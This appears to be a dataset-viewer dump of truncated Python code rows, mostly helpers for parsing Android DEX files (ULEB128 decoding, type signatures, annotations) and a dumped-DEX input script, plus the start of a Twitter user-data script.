elif len(content) == 5:
for i in xrange(0, 5... | null |
17,395 | import sys
import struct
import array
import base64
import re
def get_uleb128p1(content):
n, value = get_uleb128(content)
value -= 1
return n, value
def get_uleb128(content):
value = 0
if len(content) < 5:
for i in xrange(0, len(content)):
tmp = ord(content[i]) & 0x7f
value = tmp << (i * 7) | value
if (... | null |
17,396 | import sys
import struct
import array
import base64
import re
def get_uleb128p1(content):
n, value = get_uleb128(content)
value -= 1
return n, value
def get_uleb128(content):
value = 0
if len(content) < 5:
for i in xrange(0, len(content)):
tmp = ord(content[i]) & 0x7f
value = tmp << (i * 7) | value
if (... | null |
17,397 | import sys
import struct
import array
import base64
import re
def get_uleb128(content):
value = 0
if len(content) < 5:
for i in xrange(0, len(content)):
tmp = ord(content[i]) & 0x7f
value = tmp << (i * 7) | value
if (ord(content[i]) & 0x80) != 0x80:
break
elif len(content) == 5:
for i in xrange(0, 5... | null |
17,398 | import sys
import struct
import array
import base64
import re
import getopt
def shorty_decode(name):
val = {"V":"void",
"Z":"boolean",
"B":"byte",
"S":"short",
"C":"char",
"I":"int",
"J":"long",
"F":"float",
"D":"double",
"L":"L"
}
value = ""
if name[-1] == ';':
if name[0] == 'L':
return n... | null |
17,399 | import sys
import struct
import array
import base64
import re
def get_uleb128(content):
def parse_encoded_value(lex_object,content,is_root=False):
def parse_encoded_annotation(lex_object,content,is_root=False):
import getopt
def parse_encoded_value4441(lex_object,content,is_root=False):
offset = 0
arg_type, = struct... | null |
17,400 | import sys
import struct
import array
import base64
import re
def parse_annotation_set_item(lex_object,offset,is_root=False):
try:
size, = struct.unpack_from("I",lex_object.m_content,offset)
offset += struct.calcsize("I")
for i in xrange(0,size):
off,=struct.unpack_from("I",lex_object.m_content,offset)
vis... | null |
17,401 | import sys
import struct
import array
import base64
import re
def get_uleb128(content):
value = 0
if len(content) < 5:
for i in xrange(0, len(content)):
tmp = ord(content[i]) & 0x7f
value = tmp << (i * 7) | value
if (ord(content[i]) & 0x80) != 0x80:
break
elif len(content) == 5:
for i in xrange(0, 5... | null |
17,402 | import sys
import struct
import array
import base64
import re
def get_uleb128(content):
value = 0
if len(content) < 5:
for i in xrange(0, len(content)):
tmp = ord(content[i]) & 0x7f
value = tmp << (i * 7) | value
if (ord(content[i]) & 0x80) != 0x80:
break
elif len(content) == 5:
for i in xrange(0, 5... | null |
17,403 | import sys
import struct
import array
filename = "_data_app_com.example.dexcode-1_base.apk0.dex_722044_0"
insfilename ="722044_ins.bin"
import base64
import re
import getopt
def init():
global filename
global insfilename
try:
opts, args = getopt.getopt(sys.argv[1:], "h:d:i:", ["dumpdexfile=", "insfile="])
except... | null |
17,404 | from collections import defaultdict
from typing import Optional
from urllib.parse import urlparse
import datetime
import glob
import importlib
import json
import logging
import os
import re
import shutil
import subprocess
import sys
import time
class UserData:
def __init__(self, user_id: str, handle: str):
... | Fill the users dictionary with data from Twitter |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.